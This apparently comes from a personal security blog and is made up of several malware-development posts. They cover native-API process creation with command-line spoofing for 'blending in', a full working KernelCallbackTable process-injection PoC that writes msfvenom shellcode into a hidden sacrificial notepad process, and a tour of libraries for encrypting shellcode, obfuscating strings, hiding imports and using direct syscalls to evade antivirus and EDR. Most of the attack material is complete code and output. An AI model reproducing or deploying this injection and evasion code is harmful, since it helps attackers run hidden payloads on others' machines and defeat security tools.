#define PS_ATTRIBUTE_MACHINE_TYPE PsAttributeValue(PsAttributeMachineType, FALSE, TRUE, TRUE)

Table 3-7: Process Attributes of “Windows Internals, Part 1 (7th Edition)” presents a nice table on which “native attribute” corresponds to its Win32 equivalent.

Going back to AttributeList, I initialize this parameter with the following code:

PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);

AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

Here, the attribute PS_ATTRIBUTE_IMAGE_NAME specifies the name of the process to be created, and the NtImagePath variable holds the path of the image/binary from which the process will be created.

So here’s what the code for NtCreateProcess() would look like:

NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

RtlCreateProcessParametersEx()

If you have observed, NtCreateProcess() does not accept any argument that contains the path to the process to be created. This is where RtlCreateProcessParametersEx() comes into action. As the name suggests, its purpose is to populate the structure that will hold the parameters of the process to be created. This undocumented (but not native) function has the following syntax.

NTSTATUS
NTAPI
RtlCreateProcessParametersEx(
    _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    _In_ PUNICODE_STRING ImagePathName,
    _In_opt_ PUNICODE_STRING DllPath,
    _In_opt_ PUNICODE_STRING CurrentDirectory,
    _In_opt_ PUNICODE_STRING CommandLine,
    _In_opt_ PVOID Environment,
    _In_opt_ PUNICODE_STRING WindowTitle,
    _In_opt_ PUNICODE_STRING DesktopInfo,
    _In_opt_ PUNICODE_STRING ShellInfo,
    _In_opt_ PUNICODE_STRING RuntimeData,
    _In_ ULONG Flags
);

pProcessParameters points to the RTL_USER_PROCESS_PARAMETERS structure, which will hold the process parameter information as a result of executing RtlCreateProcessParametersEx(). Any information stored in the structure is then used as an input to NtCreateProcess(). MSDN has poor and very limited documentation of the RTL_USER_PROCESS_PARAMETERS structure so I recommend the structure provided by Process Hacker.

The second parameter ImagePathName holds the full path (in NT path format) of the image/binary from which the process will be created. For example:

UNICODE_STRING NtImagePath;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

The RtlInitUnicodeString() function, which has the following syntax, is necessary to initialize the UNICODE_STRING structure.

VOID NTAPIRtlInitUnicodeString(
    _Out_ PUNICODE_STRING DestinationString,
    _In_opt_ PWSTR SourceString
);

The initialization of the UNICODE_STRING structure is done by:

• Setting the Length and MaximumLength members to the length of the SourceString
• Setting the Buffer member to the address of the string passed in SourceString

  typedef struct _UNICODE_STRING
  {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
  } UNICODE_STRING, * PUNICODE_STRING;
  

  The other arguments (DllPath, CurrentDirectory, CommandLine, Environment, WindowTitle, DesktopInfo, ShellInfo, RuntimeData) are optional. For our goal, we can simply set them all to NULL.

A scenario in which these parameters can be useful is when “blending in” to help avoid detections. As an example, if we set CommandLine to NULL, the value that will be set upon process creation is the same with what’s passed in ImagePathName.

If we want to mimic/spoof the actual command line when C:\Windows\System32\RuntimeBroker.exe gets created normally, we can do it using the following code:

UNICODE_STRING CommandLine;
RtlInitUnicodeString(&CommandLine, (PWSTR)L"\C:\\Windows\\System32\\RuntimeBroker.exe -Embedding");

The last parameter (Flags) is used to normalize the parameters by setting the value RTL_USER_PROCESS_PARAMETERS_NORMALIZED. When a process is created, some inputs are not even fully initialized yet. If this happens, there’s a chance wherein the memories being accessed are just relative offsets of the structure describing the process and not the actual memory addresses.

If you’re going to use RtlCreateProcessParameters(), which is the non-extended version, a call to RtlNormalizeProcessParameters() should be made to normalize the parameters.

So here’s what the code for RtlCreateProcessParametersEx() I ended up with:

RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

Cleanup Code

As a cleanup, we can use RtlFreeHeap() to free the memory that was allocated by RtlAllocateHeap(), and RtlDestroyProcessParameters() to deallocate the process parameters stored in the RTL_USER_PROCESS_PARAMETERS structure.

RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);

The Header File

Aside from developing the code, another challenge working with native APIs is finding the right structures and definitions to use. I tried to manually create the header file by scouring the Internet and compiling what I have found until every structure and definition that I needed are satisfied. However, it cost me some headaches so I just gave up.

As you’re already aware, I keep on referencing the ntpsapi.h header file from Process Hacker. However, it does not contain every structure and definition that I needed. Even the whole phnt native API header files caused an error during compilation due to missing structures.

After a ton of searches, I ended up with the ntdll.h header file provided by x64dbg/TitanEngine. After including this header in my code, I’m relieved that it did not cause any compilation error.

While it contains everything I need for my “minimal” PoC, there are still some missing definitions that I found. For example, it only has the following flags for process creation compared to what Process Hacker has (listed above):

#define PROCESS_CREATE_FLAGS_BREAKAWAY              0x00000001
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT       0x00000002
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES        0x00000004
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008
#define PROCESS_CREATE_FLAGS_LARGE_PAGES            0x00000010

// Only usable with NtCreateUserProcess (Vista+):
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL  0x00000020
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS      0x00000040 // Only allowed if the calling process is itself protected
#define PROCESS_CREATE_FLAGS_CREATE_SESSION         0x00000080
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT    0x00000100

The Minimal Code

After all the headaches and struggles, here’s the “minimal” working PoC that I came up with:

#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")

int main()
{
	// Path to the image file from which the process will be created
	UNICODE_STRING NtImagePath;
	RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

	// Create the process parameters
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
	RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

	// Initialize the PS_CREATE_INFO structure
	PS_CREATE_INFO CreateInfo = { 0 };
	CreateInfo.Size = sizeof(CreateInfo);
	CreateInfo.State = PsCreateInitialState;

	// Initialize the PS_ATTRIBUTE_LIST structure
	PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
	AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
	AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
	AttributeList->Attributes[0].Size = NtImagePath.Length;
	AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

	// Create the process
	HANDLE hProcess, hThread = NULL;
	NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

	// Clean up
	RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
	RtlDestroyProcessParameters(ProcessParameters);
}

And here’s a demo of launching C:\Windows\System32\calc.exe using the above code.

The full project can be found here.

Conclusion

That’s it for this post! Again, I’m not an expert in Windows Internals so I’m happy to hear some corrections and additional information.

Before I end this, if you want to know the detailed and step-by-step procedure on how a process gets created, I suggest reading the Flow of CreateProcess section in “Windows Internals, Part 1 (7th Edition)”.

A summary of what’s in the book could also be read in this 2-part series:

• The Birth of a Process Part-1
• The Birth of a Process Part-2

This post walks through the journey I took and the hurdles I encountered to make process injection via KernelCallbackTable work according to what I wanted.

The Problems

When I Googled about this technique, the very first result that I got was none other than the post written by modexpblog. So for this experiment, I used the code he provided as my basis and slightly modified it.

#include <Windows.h>
#include <stdio.h>
#include "struct.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
	unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T payloadSize = sizeof(payload);

	// Find a window for explorer.exe
	HWND hWindow = FindWindow(L"Shell_TrayWnd", NULL);
	printf("[+] Window Handle: 0x%p\n", hWindow);

	// Obtain the process pid and open it
	DWORD pid;
	GetWindowThreadProcessId(hWindow, &pid);
	printf("[+] Process ID: %d\n", pid);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Process Handle: 0x%p\n", hProcess);

	// Read PEB and KernelCallBackTable addresses
	PROCESS_BASIC_INFORMATION pbi;
	pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
	myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb;
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);

	KERNELCALLBACKTABLE kct;
	ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
	printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);

	// Write the payload to remote process
	LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);
	printf("[+] Payload Address: 0x%p\n", payloadAddr);

	// 4. Write the new table to the remote process
	LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
	WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
	printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA);

	// Update the PEB
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
	printf("[+] Remote process PEB updated\n");

	// Trigger execution of payload
	COPYDATASTRUCT cds;
	WCHAR msg[] = L"Pwn";
	cds.dwData = 1;
	cds.cbData = lstrlen(msg) * 2;
	cds.lpData = msg;
	SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
	printf("[+] Payload executed\n");

	// Restore original KernelCallbackTable
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);
	printf("[+] Original KernelCallbackTable restored\n");

	// Release memory for code and data
	VirtualFreeEx(hProcess, payloadAddr, 0, MEM_DECOMMIT | MEM_RELEASE);
	VirtualFreeEx(hProcess, newKCTAddr, 0, MEM_DECOMMIT | MEM_RELEASE);
	
	// Close handles
	CloseHandle(hWindow);
	CloseHandle(hProcess);
	printf("[+] Cleaned up\n");
}

The above PoC uses explorer.exe as the target process. This is done using the FindWindow() function to get a handle to the window class Shell_TrayWnd, which is associated with explorer.exe. Execution of the payload begins when the SendMessage() function is called. This happens since __fnCOPYDATA, which points to the payload’s address, gets triggered when the WM_COPYDATA message is sent.

But why explorer.exe when there are other processes running on the system? That’s because the KernelCallbackTable that is found within the PEB only gets initialized when user32.dll, used by GUI processes, is loaded into the process’ memory. This means processes that do not load user32.dll won’t have the KernelCallbackTable field in the PEB.

During my experiment, the PoC didn’t work and it keeps on crashing explorer.exe right after updating the target process’ PEB (by executing the below line of code). While explorer.exe auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when SendMessage() is called.

// Update the PEB
WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);

What if we target other GUI processes? I tried it by getting a handle to the window class Notepad (using the code below) and have notepad.exe run before executing the code.

HWND hWindow = FindWindow(L"Notepad", NULL);

And it worked! The payload gets executed but the target process still crashed right after the call to SendMessage().

The problems I see with this method are:

1. You have to first enumerate the window classes available on the system. (This is doable with EnumWindows() function.)
2. The target process crashes no matter what. (I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.)
3. The crash is visible to the user.

Other’s Solution

ORCA666 found a way to solve this issue by not targeting explorer.exe and by loading user32.dll in memory. However, his approach loads user32.dll in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his KCTHIJACK repo.

His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process.

My Solution

Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do.

First Attempt: FAILED!

To achieve my goal, I used CreateProcess() to spawn an instance of notepad.exe and set the process creation flag dwFlags to CREATE_SUSPENDED to make it “hidden”.

CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

Well, that didn’t work because a suspended process does not have any window in it.

No window means no handle to obtain so injection and execution of payload are not possible.

[+] Window Handle: 0x0000000000000000
[+] Process ID: 0
[+] Process Handle: 0x0000000000000000
[+] PEB Address: 0x0000020C2A583CC0
[+] KernelCallbackTable Address: 0x0000000000000000
[+] Payload Address: 0x0000000000000000
[+] __fnCOPYDATA: 0x0000000000000000
[+] Remote process PEB updated
[+] Payload executed
[+] Original KernelCallbackTable restored
[+] Cleaned up

Second Attempt: FAILED! (again)

Instead of resorting to the CREATE_SUSPENDED flag to hide the created process, I used the dwFlags and wShowWindow members of the STARTUPINFO structure and set their values to the following:

si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

As for the process creation flag, I changed it from CREATE_SUSPENDED to CREATE_NEW_CONSOLE. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen.

Third Attempt: SUCCESS!

After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A Sleep() function will fix the issue (I tried it and it worked). However, I don’t want to wait until the number of seconds passed in Sleep() lapsed. I used WaitForInputIdle() instead so it will only wait until the process has finished its initialization.

WaitForInputIdle(pi.hProcess, 1000);

Here’s the final code that I came up with.

#include <Windows.h>
#include <stdio.h>
#include "struct.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
	unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T payloadSize = sizeof(payload);

	// Create a sacrifical process
	PROCESS_INFORMATION pi;
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	// Wait for process initialization
	WaitForInputIdle(pi.hProcess, 1000);

	// Find a window for explorer.exe
	HWND hWindow = FindWindow(L"Notepad", NULL);
	printf("[+] Window Handle: 0x%p\n", hWindow);

	// Obtain the process pid and open it
	DWORD pid;
	GetWindowThreadProcessId(hWindow, &pid);
	printf("[+] Process ID: %d\n", pid);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Process Handle: 0x%p\n", hProcess);

	// Read PEB and KernelCallBackTable addresses
	PROCESS_BASIC_INFORMATION pbi;
	pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
	myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb;
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);

	KERNELCALLBACKTABLE kct;
	ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
	printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);

	// Write the payload to remote process
	LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);
	printf("[+] Payload Address: 0x%p\n", payloadAddr);

	// 4. Write the new table to the remote process
	LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
	WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
	printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA);

	// Update the PEB
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
	printf("[+] Remote process PEB updated\n");

	// Trigger execution of payload
	COPYDATASTRUCT cds;
	WCHAR msg[] = L"Pwn";
	cds.dwData = 1;
	cds.cbData = lstrlen(msg) * 2;
	cds.lpData = msg;
	SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
	printf("[+] Payload executed\n");
}

NOTE: I already removed the cleanup code (like restoring the original KernelCallbackTable) because they don’t matter anymore since the target process has already crashed and exited.

The full project can be found here.

And here it is in action.

Conclusion

That’s it! That is how I modified the base PoC to make KernelCallbackTable process injection work according to what I wanted.

If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)

In this post, I’ll share some of the libraries that I found easy to use and useful during my malware development journey.

tiny-AES-c

When writing malware, it’s a must to encrypt your shellcode. Otherwise, your malware won’t even pass the static analysis. One of the recommended ways of encrypting the shellcode is by using AES, and one of the easiest ways to implement this is by using the kokke/tiny-AES-c library.

To use this library, just add the following header and source files to your project.

• aes.hpp
• aes.h
• aes.c

The following shows an example of how to AES-encrypt (using CBC mode) your shellcode and its corresponding output.

#include <Windows.h>
#include <stdio.h>
#include "lib/aes.hpp"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);

	printf("Encrypted buffer:\n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", shellcode[i]);
	}

	printf("\n");
}

To decrypt the encrypted shellcode, simply used the AES_CBC_decrypt_buffer() function.

Other AES libraries also exist like the following:

• SergeyBel/AES
• kkAyataka/plusaes

skCrypter

skadro-official/skCrypter is a compile-time, user-mode and kernel-mode string crypter library. It uses XOR algorithm with a randomized key and has protection against default XOR brute-forcing.

But why do we need to encrypt/obfuscate our strings? This is done to “hide” some of the arfifacts of your malware. While it may help a little bit against average reverse engineers, obfuscating strings is still a good idea.

As an example, take a look at the following code which dynamically resolves the NtDelayExecution function via GetModuleHandleA and GetProcAddress to perform a “sleep” routine.

#include <Windows.h>
#include <stdio.h>

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

If we compile the above code and look for the “ntdll.dll” and “NtDelayExecution” strings, they are visible.

If we used functions that are considered malicious, such as the combination of OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread, then our malware might not even pass the static analysis phase of an AV.

This is where the library skadro-official/skCrypter comes into play. To use it, just import the header file skCrypter.h and place the strings you wanted to obfuscate within the skCrypt() function.

As a demo, the previous code was modified to hide both the “ntdll.dll” and “NtDelayExecution” strings using the skCrypter.h library:

#include <Windows.h>
#include <stdio.h>
#include "lib/skCrypter.h"

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA(skCrypt("ntdll.dll")), skCrypt("NtDelayExecution"));

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

As we can see, the strings disappeared within the binary.

I also found the following string encryption libraries, though I haven’t used/tested them:

• JustasMasiulis/xorstr
• qis/xorstr
• TyrarFox/encstr
• pyj2323/StrCrypt

lazy_importer

WinAPI functions used by binaries are listed in the binary’s Import Address Table (IAT). This is not good in terms of evasion since most anti-malware solutions reads the binary’s IAT and checks for the presence of dangerous/malicious functions imported/used.

#include <Windows.h>

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

For example, if the above code was compiled, the function CreateProcessW is listed in the IAT and is flagged by PEStudio.

This artifact can be easily hidden by utilizing the JustasMasiulis/lazy_importer header. Using it is as simple as importing the header file lazy_importer.hpp and invoking the LI_FN() function. For example:

#include <Windows.h>
#include "lib/lazy_importer.hpp"

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    LI_FN(CreateProcessW)(L"C:\\Windows\\System32\\notepad.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

NOTE: Change NULL values to nullptr otherwise you’ll get a compilation error.

If we look at the IAT again, the CreateProcessW function is not listed anymore.

The following could also be used as an alternative library to dynamically import functions and modules:

• AmJayden/Lazy-Importer

SysWhisper2

If you’ve been into AV/EDR evasion, I’m sure you’re aware that using syscalls is a well-known method to bypass detection controls (such as “User-land Hooking”) by jumping into kernel-mode. And if you heard about syscalls, most likely you’re familiar with the tool jthuraisamy/SysWhispers2.

To use the tool, just run the python script syswhispers.py with the “Nt*” functions you want to use to generate the required files. For example:

$ python3 syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o syscalls

                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.asm

Then do the following:

1. Copy the generated H/C/ASM files into the project folder.
2. In Visual Studio, go to Project → Build Customizations… and enable MASM.
3. In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.
4. Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.
5. Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.

The “Nt*” functions can now be used. For example:

#include <Windows.h>
#include "lib/syscalls.h"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
